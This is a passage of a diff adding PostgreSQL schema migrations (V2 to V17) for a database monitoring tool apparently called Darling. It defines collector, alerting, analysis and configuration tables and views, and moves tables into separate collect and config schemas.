+    collection_time timestamp NOT NULL,
+    duration_ms integer,
+    status text NOT NULL,
+    error_message text,
+    rows_collected integer,
+    sql_duration_ms integer,
+    duckdb_duration_ms integer
+);
+
+CREATE INDEX IF NOT EXISTS idx_collection_log_time ON collection_log(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (2, 'server-registry-and-collection-log', now()::timestamp);
+-- ===BATCH=== V3 alerting-stores
+
+CREATE TABLE IF NOT EXISTS config_alert_log (
+    alert_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    metric_name text NOT NULL,
+    current_value double precision NOT NULL,
+    threshold_value double precision NOT NULL,
+    alert_sent boolean NOT NULL DEFAULT FALSE,
+    notification_type text NOT NULL DEFAULT 'tray',
+    send_error text,
+    dismissed boolean NOT NULL DEFAULT FALSE,
+    muted boolean NOT NULL DEFAULT FALSE,
+    detail_text text,
+    context_json text
+);
+
+CREATE INDEX IF NOT EXISTS idx_config_alert_log_time ON config_alert_log(server_id, metric_name, alert_time);
+
+CREATE TABLE IF NOT EXISTS config_edge_trigger_watermarks (
+    server_id integer NOT NULL,
+    metric_name text NOT NULL,
+    watermark integer NOT NULL,
+    watermark_time timestamp,
+    updated_at timestamp NOT NULL,
+    PRIMARY KEY (server_id, metric_name)
+);
+
+CREATE TABLE IF NOT EXISTS config_mute_rules (
+    id text NOT NULL PRIMARY KEY,
+    enabled boolean NOT NULL DEFAULT TRUE,
+    created_at_utc timestamp NOT NULL,
+    expires_at_utc timestamp,
+    reason text,
+    server_name text,
+    metric_name text,
+    database_pattern text,
+    query_text_pattern text,
+    wait_type_pattern text,
+    job_name_pattern text
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (3, 'alerting-stores', now()::timestamp);
+-- ===BATCH=== V4 analysis-tables
+
+CREATE TABLE IF NOT EXISTS analysis_findings (
+    finding_id bigint NOT NULL,
+    analysis_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    time_range_start timestamp,
+    time_range_end timestamp,
+    severity double precision NOT NULL,
+    confidence double precision NOT NULL,
+    category text NOT NULL,
+    story_path text NOT NULL,
+    story_path_hash text NOT NULL,
+    story_text text NOT NULL,
+    root_fact_key text NOT NULL,
+    root_fact_value double precision,
+    leaf_fact_key text,
+    leaf_fact_value double precision,
+    fact_count integer NOT NULL,
+    incident_id text,
+    remediation_action_json text
+);
+
+CREATE INDEX IF NOT EXISTS idx_analysis_findings_time ON analysis_findings(server_id, analysis_time);
+CREATE INDEX IF NOT EXISTS idx_analysis_findings_hash ON analysis_findings(story_path_hash);
+
+CREATE TABLE IF NOT EXISTS analysis_muted (
+    mute_id bigint NOT NULL PRIMARY KEY,
+    server_id integer,
+    database_name text,
+    story_path_hash text NOT NULL,
+    story_path text NOT NULL,
+    muted_date timestamp NOT NULL,
+    reason text
+);
+
+CREATE INDEX IF NOT EXISTS idx_analysis_muted_hash ON analysis_muted(story_path_hash);
+
+CREATE OR REPLACE VIEW v_wait_stats AS SELECT * FROM wait_stats;
+CREATE OR REPLACE VIEW v_query_stats AS SELECT * FROM query_stats;
+CREATE OR REPLACE VIEW v_query_store_stats AS SELECT * FROM query_store_stats;
+CREATE OR REPLACE VIEW v_cpu_utilization_stats AS SELECT * FROM cpu_utilization_stats;
+CREATE OR REPLACE VIEW v_memory_grant_stats AS SELECT * FROM memory_grant_stats;
+CREATE OR REPLACE VIEW v_memory_stats AS SELECT * FROM memory_stats;
+CREATE OR REPLACE VIEW v_perfmon_stats AS SELECT * FROM perfmon_stats;
+CREATE OR REPLACE VIEW v_session_stats AS SELECT * FROM session_stats;
+CREATE OR REPLACE VIEW v_file_io_stats AS SELECT * FROM file_io_stats;
+CREATE OR REPLACE VIEW v_blocked_process_reports AS SELECT * FROM blocked_process_reports;
+CREATE OR REPLACE VIEW v_deadlocks AS SELECT * FROM deadlocks;
+CREATE OR REPLACE VIEW v_dmv_blocking_snapshots AS SELECT * FROM dmv_blocking_snapshots;
+CREATE OR REPLACE VIEW v_index_object_stats AS SELECT * FROM index_object_stats;
+CREATE OR REPLACE VIEW v_database_size_stats AS SELECT * FROM database_size_stats;
+CREATE OR REPLACE VIEW v_tempdb_stats AS SELECT * FROM tempdb_stats;
+CREATE OR REPLACE VIEW v_query_snapshots AS SELECT * FROM query_snapshots;
+CREATE OR REPLACE VIEW v_database_config AS SELECT * FROM database_config;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (4, 'analysis-tables', now()::timestamp);
+-- ===BATCH=== V5 viewer-passthrough-views
+
+CREATE OR REPLACE VIEW v_running_jobs AS SELECT * FROM running_jobs;
+CREATE OR REPLACE VIEW v_server_config AS SELECT * FROM server_config;
+CREATE OR REPLACE VIEW v_database_scoped_config AS SELECT * FROM database_scoped_config;
+CREATE OR REPLACE VIEW v_trace_flags AS SELECT * FROM trace_flags;
+CREATE OR REPLACE VIEW v_collection_log AS SELECT * FROM collection_log;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (5, 'viewer-passthrough-views', now()::timestamp);
+-- ===BATCH=== V6 memory-tab-passthrough-views
+
+CREATE OR REPLACE VIEW v_memory_clerks AS SELECT * FROM memory_clerks;
+CREATE OR REPLACE VIEW v_memory_pressure_events AS SELECT * FROM memory_pressure_events;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (6, 'memory-tab-passthrough-views', now()::timestamp);
+-- ===BATCH=== V7 viewer-plan-capture-columns
+
+ALTER TABLE procedure_stats ADD COLUMN IF NOT EXISTS query_plan_xml text;
+ALTER TABLE blocked_process_reports ADD COLUMN IF NOT EXISTS blocked_query_plan_xml text;
+ALTER TABLE blocked_process_reports ADD COLUMN IF NOT EXISTS blocking_query_plan_xml text;
+ALTER TABLE deadlocks ADD COLUMN IF NOT EXISTS victim_query_plan_xml text;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (7, 'viewer-plan-capture-columns', now()::timestamp);
+-- ===BATCH=== V8 schema-split-collect-config
+/* V8: split public into collect/config (Darling security hardening, #1262).
+   Table NAMES are unchanged; search_path = collect, config, public resolves the bare
+   references every SQL site already uses, so no query is re-qualified. */
+
+CREATE SCHEMA IF NOT EXISTS collect AUTHORIZATION darling;
+CREATE SCHEMA IF NOT EXISTS config AUTHORIZATION darling;
+
+/* collect: all collector tables (from the catalog) + registry/metadata + the V4-V6 views */
+ALTER TABLE IF EXISTS public.wait_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.latch_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.spinlock_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.cpu_scheduler_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.plan_cache_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.tempdb_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.memory_grant_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.cpu_utilization_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.memory_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.memory_clerks SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.memory_pressure_events SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.file_io_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.server_properties SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.server_config SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.database_config SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.database_states SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.trace_flags SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.database_scoped_config SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.query_store_health SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.session_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.session_summary_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.waiting_tasks SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.procedure_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.running_jobs SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.perfmon_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.dmv_blocking_snapshots SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.database_size_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.index_object_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.query_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.query_snapshots SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.query_store_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.deadlocks SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.blocked_process_reports SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.long_query_completions SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.system_health_events SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.default_trace_events SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.job_history SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.agent_status SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.ag_replica_states SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.ag_database_replica_states SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.plan_correction SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pvs_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_wait_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_statement_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_wraparound_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_server_config SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_deadlocks SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_log_events SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_xmin_horizon SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_replication_slot_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_autovacuum_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_io_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_blocking_edges SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_database_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_index_usage_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_table_bloat_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_session_states SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_plan_capture_readiness SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_write_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_extension_availability SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_lock_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_wait_sampling SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_kernel_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_predicate_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_plan_capture SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_column_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_replication_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_buffer_usage SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_index_bloat SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_cpu_utilization SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.pg_database_size_stats SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.servers SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.collection_log SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.analysis_findings SET SCHEMA collect;
+ALTER TABLE IF EXISTS public.darling_schema_version SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_wait_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_query_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_query_store_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_cpu_utilization_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_memory_grant_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_memory_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_perfmon_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_session_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_file_io_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_blocked_process_reports SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_deadlocks SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_dmv_blocking_snapshots SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_index_object_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_database_size_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_tempdb_stats SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_query_snapshots SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_database_config SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_running_jobs SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_server_config SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_database_scoped_config SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_trace_flags SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_collection_log SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_memory_clerks SET SCHEMA collect;
+ALTER VIEW IF EXISTS public.v_memory_pressure_events SET SCHEMA collect;
+
+/* config: the operator-writable coordination + analysis-mute tables */
+ALTER TABLE IF EXISTS public.config_alert_log SET SCHEMA config;
+ALTER TABLE IF EXISTS public.config_edge_trigger_watermarks SET SCHEMA config;
+ALTER TABLE IF EXISTS public.config_mute_rules SET SCHEMA config;
+ALTER TABLE IF EXISTS public.analysis_muted SET SCHEMA config;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (8, 'schema-split-collect-config', now()::timestamp);
+-- ===BATCH=== V9 server-inventory-cost-fields
+
+ALTER TABLE server_properties ADD COLUMN IF NOT EXISTS sqlserver_start_time timestamp;
+ALTER TABLE server_properties ADD COLUMN IF NOT EXISTS host_os_version text;
+ALTER TABLE server_properties ADD COLUMN IF NOT EXISTS ag_replica_role text;
+ALTER TABLE servers ADD COLUMN IF NOT EXISTS monthly_cost_usd numeric;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (9, 'server-inventory-cost-fields', now()::timestamp);
+-- ===BATCH=== V10 latch-spinlock-collectors
+/* V10: latch_stats + spinlock_stats collectors (Dashboard->Darling parity, #1262).
+   Generated from the collector definitions so the tables match the fresh V1 shape. */
+
+CREATE TABLE IF NOT EXISTS latch_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    latch_class text,
+    waiting_requests_count bigint,
+    wait_time_ms bigint,
+    max_wait_time_ms bigint,
+    delta_waiting_requests_count bigint,
+    delta_wait_time_ms bigint,
+    delta_max_wait_time_ms bigint,
+    sample_interval_seconds integer
+);
+CREATE INDEX IF NOT EXISTS idx_latch_stats_time ON latch_stats(server_id, collection_time);
+CREATE OR REPLACE VIEW v_latch_stats AS SELECT * FROM latch_stats;
+
+CREATE TABLE IF NOT EXISTS spinlock_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    spinlock_name text,
+    collisions bigint,
+    spins bigint,
+    spins_per_collision double precision,
+    sleep_time bigint,
+    backoffs bigint,
+    delta_collisions bigint,
+    delta_spins bigint,
+    delta_sleep_time bigint,
+    delta_backoffs bigint,
+    sample_interval_seconds integer
+);
+CREATE INDEX IF NOT EXISTS idx_spinlock_stats_time ON spinlock_stats(server_id, collection_time);
+CREATE OR REPLACE VIEW v_spinlock_stats AS SELECT * FROM spinlock_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (10, 'latch-spinlock-collectors', now()::timestamp);
+-- ===BATCH=== V11 cpu-scheduler-plan-cache-collectors
+/* V11: cpu_scheduler_stats + plan_cache_stats collectors (Dashboard->Darling parity, #1262).
+   Generated from the collector definitions so the tables match the fresh V1 shape. */
+
+CREATE TABLE IF NOT EXISTS cpu_scheduler_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    max_workers_count integer,
+    scheduler_count integer,
+    cpu_count integer,
+    total_runnable_tasks_count integer,
+    total_work_queue_count bigint,
+    total_current_workers_count integer,
+    avg_runnable_tasks_count numeric(38,2),
+    total_active_request_count integer,
+    total_queued_request_count integer,
+    total_blocked_task_count integer,
+    total_active_parallel_thread_count bigint,
+    runnable_request_count integer,
+    total_request_count integer,
+    runnable_percent numeric(38,2),
+    worker_thread_exhaustion_warning boolean,
+    runnable_tasks_warning boolean,
+    blocked_tasks_warning boolean,
+    queued_requests_warning boolean,
+    total_physical_memory_kb bigint,
+    available_physical_memory_kb bigint,
+    system_memory_state_desc text,
+    physical_memory_pressure_warning boolean,
+    total_node_count integer,
+    nodes_online_count integer,
+    offline_cpu_count integer,
+    offline_cpu_warning boolean
+);
+CREATE INDEX IF NOT EXISTS idx_cpu_scheduler_stats_time ON cpu_scheduler_stats(server_id, collection_time);
+CREATE OR REPLACE VIEW v_cpu_scheduler_stats AS SELECT * FROM cpu_scheduler_stats;
+
+CREATE TABLE IF NOT EXISTS plan_cache_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    cacheobjtype text,
+    objtype text,
+    total_plans integer,
+    total_size_mb integer,
+    single_use_plans integer,
+    single_use_size_mb integer,
+    multi_use_plans integer,
+    multi_use_size_mb integer,
+    avg_use_count numeric(38,2),
+    avg_size_kb integer,
+    oldest_plan_create_time timestamp
+);
+CREATE INDEX IF NOT EXISTS idx_plan_cache_stats_time ON plan_cache_stats(server_id, collection_time);
+CREATE OR REPLACE VIEW v_plan_cache_stats AS SELECT * FROM plan_cache_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (11, 'cpu-scheduler-plan-cache-collectors', now()::timestamp);
+-- ===BATCH=== V12 session-summary-collector
+/* V12: session_summary_stats collector (Dashboard->Darling connection-leak / idle parity, #1262).
+   Generated from the collector definition so the table matches the fresh V1 shape. */
+
+CREATE TABLE IF NOT EXISTS session_summary_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    total_sessions integer,
+    running_sessions integer,
+    sleeping_sessions integer,
+    background_sessions integer,
+    dormant_sessions integer,
+    idle_sessions_over_30min integer,
+    sessions_waiting_for_memory integer,
+    databases_with_connections integer,
+    top_application_name text,
+    top_application_connections integer,
+    top_host_name text,
+    top_host_connections integer
+);
+CREATE INDEX IF NOT EXISTS idx_session_summary_stats_time ON session_summary_stats(server_id, collection_time);
+CREATE OR REPLACE VIEW v_session_summary_stats AS SELECT * FROM session_summary_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (12, 'session-summary-collector', now()::timestamp);
+-- ===BATCH=== V13 system-health-events-collector
+/* V13: system_health_events collector (Dashboard->Darling health-parser capture parity, #1262).
+   Generated from the collector definition so the table matches the fresh V1 shape. */
+
+CREATE TABLE IF NOT EXISTS system_health_events (
+    system_health_event_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    event_time timestamp,
+    event_type text,
+    event_xml text
+);
+CREATE INDEX IF NOT EXISTS idx_system_health_events_time ON system_health_events(server_id, collection_time);
+CREATE OR REPLACE VIEW v_system_health_events AS SELECT * FROM system_health_events;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (13, 'system-health-events-collector', now()::timestamp);
+-- ===BATCH=== V14 refresh-passthrough-views
+/* V14: refresh every v_* passthrough view's pinned SELECT * column list (#1262).
+   Postgres freezes SELECT * at CREATE, so an upgraded store's views omit columns
+   ADDed later (V7 plan columns, V9 inventory); CREATE OR REPLACE re-expands them.
+   Append-only ADD COLUMNs => the refresh only adds columns at the end (always legal). */
+
+CREATE OR REPLACE VIEW v_wait_stats AS SELECT * FROM wait_stats;
+CREATE OR REPLACE VIEW v_query_store_stats AS SELECT * FROM query_store_stats;
+CREATE OR REPLACE VIEW v_cpu_utilization_stats AS SELECT * FROM cpu_utilization_stats;
+CREATE OR REPLACE VIEW v_memory_grant_stats AS SELECT * FROM memory_grant_stats;
+CREATE OR REPLACE VIEW v_memory_stats AS SELECT * FROM memory_stats;
+CREATE OR REPLACE VIEW v_perfmon_stats AS SELECT * FROM perfmon_stats;
+CREATE OR REPLACE VIEW v_session_stats AS SELECT * FROM session_stats;
+CREATE OR REPLACE VIEW v_file_io_stats AS SELECT * FROM file_io_stats;
+CREATE OR REPLACE VIEW v_blocked_process_reports AS SELECT * FROM blocked_process_reports;
+CREATE OR REPLACE VIEW v_deadlocks AS SELECT * FROM deadlocks;
+CREATE OR REPLACE VIEW v_dmv_blocking_snapshots AS SELECT * FROM dmv_blocking_snapshots;
+CREATE OR REPLACE VIEW v_index_object_stats AS SELECT * FROM index_object_stats;
+CREATE OR REPLACE VIEW v_database_size_stats AS SELECT * FROM database_size_stats;
+CREATE OR REPLACE VIEW v_tempdb_stats AS SELECT * FROM tempdb_stats;
+CREATE OR REPLACE VIEW v_query_snapshots AS SELECT * FROM query_snapshots;
+CREATE OR REPLACE VIEW v_database_config AS SELECT * FROM database_config;
+CREATE OR REPLACE VIEW v_running_jobs AS SELECT * FROM running_jobs;
+CREATE OR REPLACE VIEW v_server_config AS SELECT * FROM server_config;
+CREATE OR REPLACE VIEW v_database_scoped_config AS SELECT * FROM database_scoped_config;
+CREATE OR REPLACE VIEW v_trace_flags AS SELECT * FROM trace_flags;
+CREATE OR REPLACE VIEW v_collection_log AS SELECT * FROM collection_log;
+CREATE OR REPLACE VIEW v_memory_clerks AS SELECT * FROM memory_clerks;
+CREATE OR REPLACE VIEW v_memory_pressure_events AS SELECT * FROM memory_pressure_events;
+CREATE OR REPLACE VIEW v_latch_stats AS SELECT * FROM latch_stats;
+CREATE OR REPLACE VIEW v_spinlock_stats AS SELECT * FROM spinlock_stats;
+CREATE OR REPLACE VIEW v_cpu_scheduler_stats AS SELECT * FROM cpu_scheduler_stats;
+CREATE OR REPLACE VIEW v_plan_cache_stats AS SELECT * FROM plan_cache_stats;
+CREATE OR REPLACE VIEW v_session_summary_stats AS SELECT * FROM session_summary_stats;
+CREATE OR REPLACE VIEW v_system_health_events AS SELECT * FROM system_health_events;
+CREATE OR REPLACE VIEW v_pvs_stats AS SELECT * FROM pvs_stats;
+CREATE OR REPLACE VIEW v_query_store_health AS SELECT * FROM query_store_health;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (14, 'refresh-passthrough-views', now()::timestamp);
+-- ===BATCH=== V15 index-metadata-columns
+
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS key_columns text;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS included_columns text;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS filter_definition text;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS is_unique_constraint boolean;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS is_foreign_key boolean;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS is_foreign_key_reference boolean;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS is_disabled boolean;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS data_compression_desc text;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS optimize_for_sequential_key boolean;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS fill_factor smallint;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS is_padded boolean;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS allow_page_locks boolean;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS allow_row_locks boolean;
+ALTER TABLE index_object_stats ADD COLUMN IF NOT EXISTS is_indexed_view boolean;
+
+CREATE OR REPLACE VIEW v_index_object_stats AS SELECT * FROM index_object_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (15, 'index-metadata-columns', now()::timestamp);
+-- ===BATCH=== V16 server-utc-offset
+
+ALTER TABLE server_properties ADD COLUMN IF NOT EXISTS utc_offset_minutes integer;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (16, 'server-utc-offset', now()::timestamp);
+-- ===BATCH=== V17 config-control-plane
+
+/* V17: store<->service control plane (Stage 1). EVERY object is schema-qualified config.* —
+   the migrate session's search_path resolves bare names to collect (wrong schema/ACL). */
+
+/* --- A. Config plane: the Viewer writes desired state, the service reads + honors it. --- */
+
+/* 1. config_monitored_servers — the desired-state twin of the collect.servers observed registry.
+      server_id is THIS ROW'S identity and this table owns it: the service reads it here rather than
+      recomputing it, so a stored id keeps working when the fields below no longer produce it (#2218).
+      It is minted from the storage identity host[:database][:RO] — the same value the collectors
+      stamp, which is why it JOINs collected data and why no existing store needs migrating — but that
+      is now the ALLOCATION rule, not a definition anything re-derives. is_enabled drives collection;
+      the connection fields reconstruct a MonitoredServer for the service's connect path. */
+CREATE TABLE IF NOT EXISTS config.config_monitored_servers (
+    server_id integer NOT NULL PRIMARY KEY,
+    name text NOT NULL,
+    host text NOT NULL,
+    database text,
+    auth text NOT NULL DEFAULT 'integrated',
+    username text,
+    encrypted_password text,
+    encrypt_mode text NOT NULL DEFAULT 'Mandatory',
+    trust_server_certificate boolean NOT NULL DEFAULT FALSE,
+    read_only_intent boolean NOT NULL DEFAULT FALSE,
+    multi_subnet_failover boolean NOT NULL DEFAULT FALSE,
+    excluded_databases text[] NOT NULL DEFAULT '{}'::text[],
+    monthly_cost_usd numeric NOT NULL DEFAULT 0,
+    capture_plans boolean,
+    is_enabled boolean NOT NULL DEFAULT TRUE,
+    created_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    modified_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC')
+);
+
+/* 2. config_alert_settings — single row (id=1), one column per AlertsConfig field + the analysis
+      cadence knobs (analysis_enabled / interval / notifications_enabled / notify_severity). */
+CREATE TABLE IF NOT EXISTS config.config_alert_settings (
+    id smallint NOT NULL PRIMARY KEY DEFAULT 1 CHECK (id = 1),
+    enabled boolean NOT NULL DEFAULT TRUE,
+    cpu_enabled boolean NOT NULL DEFAULT TRUE,
+    cpu_threshold_percent integer NOT NULL DEFAULT 80,
+    cpu_mode text NOT NULL DEFAULT 'total',
+    blocking_enabled boolean NOT NULL DEFAULT TRUE,
+    blocking_count_threshold integer NOT NULL DEFAULT 1,
+    deadlock_enabled boolean NOT NULL DEFAULT TRUE,
+    deadlock_count_threshold integer NOT NULL DEFAULT 1,
+    poison_wait_enabled boolean NOT NULL DEFAULT TRUE,
+    poison_wait_threshold_ms integer NOT NULL DEFAULT 500,
+    long_running_query_enabled boolean NOT NULL DEFAULT TRUE,
+    long_running_query_threshold_minutes integer NOT NULL DEFAULT 30,
+    tempdb_space_enabled boolean NOT NULL DEFAULT TRUE,
+    tempdb_space_threshold_percent integer NOT NULL DEFAULT 80,
+    low_disk_enabled boolean NOT NULL DEFAULT TRUE,
+    low_disk_threshold_percent integer NOT NULL DEFAULT 10,
+    low_disk_threshold_gb integer NOT NULL DEFAULT 5,
+    long_running_job_enabled boolean NOT NULL DEFAULT TRUE,
+    long_running_job_multiplier integer NOT NULL DEFAULT 3,
+    failed_job_enabled boolean NOT NULL DEFAULT TRUE,
+    failed_job_lookback_minutes integer NOT NULL DEFAULT 60,
+    cooldown_minutes integer NOT NULL DEFAULT 5,
+    excluded_databases text[] NOT NULL DEFAULT '{}'::text[],
+    analysis_enabled boolean NOT NULL DEFAULT TRUE,
+    analysis_interval_minutes integer NOT NULL DEFAULT 30,
+    analysis_notifications_enabled boolean NOT NULL DEFAULT TRUE,
+    analysis_notify_severity double precision NOT NULL DEFAULT 1.5,
+    modified_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC')
+);
+
+/* 3. config_notification — single row: SMTP + webhook delivery. Non-secret fields plus the SMTP
+      DPAPI blob (smtp_encrypted_password); webhook URLs/proxies carry as darling.json holds them. */
+CREATE TABLE IF NOT EXISTS config.config_notification (
+    id smallint NOT NULL PRIMARY KEY DEFAULT 1 CHECK (id = 1),
+    smtp_host text NOT NULL DEFAULT '',
+    smtp_port integer NOT NULL DEFAULT 587,
+    smtp_use_ssl boolean NOT NULL DEFAULT TRUE,
+    smtp_username text,
+    smtp_encrypted_password text,
+    smtp_from_address text NOT NULL DEFAULT '',
+    smtp_recipients text NOT NULL DEFAULT '',
+    email_cooldown_minutes integer NOT NULL DEFAULT 15,
+    teams_url text NOT NULL DEFAULT '',
+    teams_proxy text NOT NULL DEFAULT '',
+    slack_url text NOT NULL DEFAULT '',
+    slack_proxy text NOT NULL DEFAULT '',
+    modified_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC')
+);
+
+/* 4. config_collector_schedules — SPARSE per-collector overrides layered on CollectorScheduleDefaults.
+      Absent row / NULL column = code default; server_id NULL = fleet-wide. A PRIMARY KEY cannot span a
+      nullable server_id, so two partial-unique indexes enforce one fleet-wide row + one per-server row
+      per collector. */
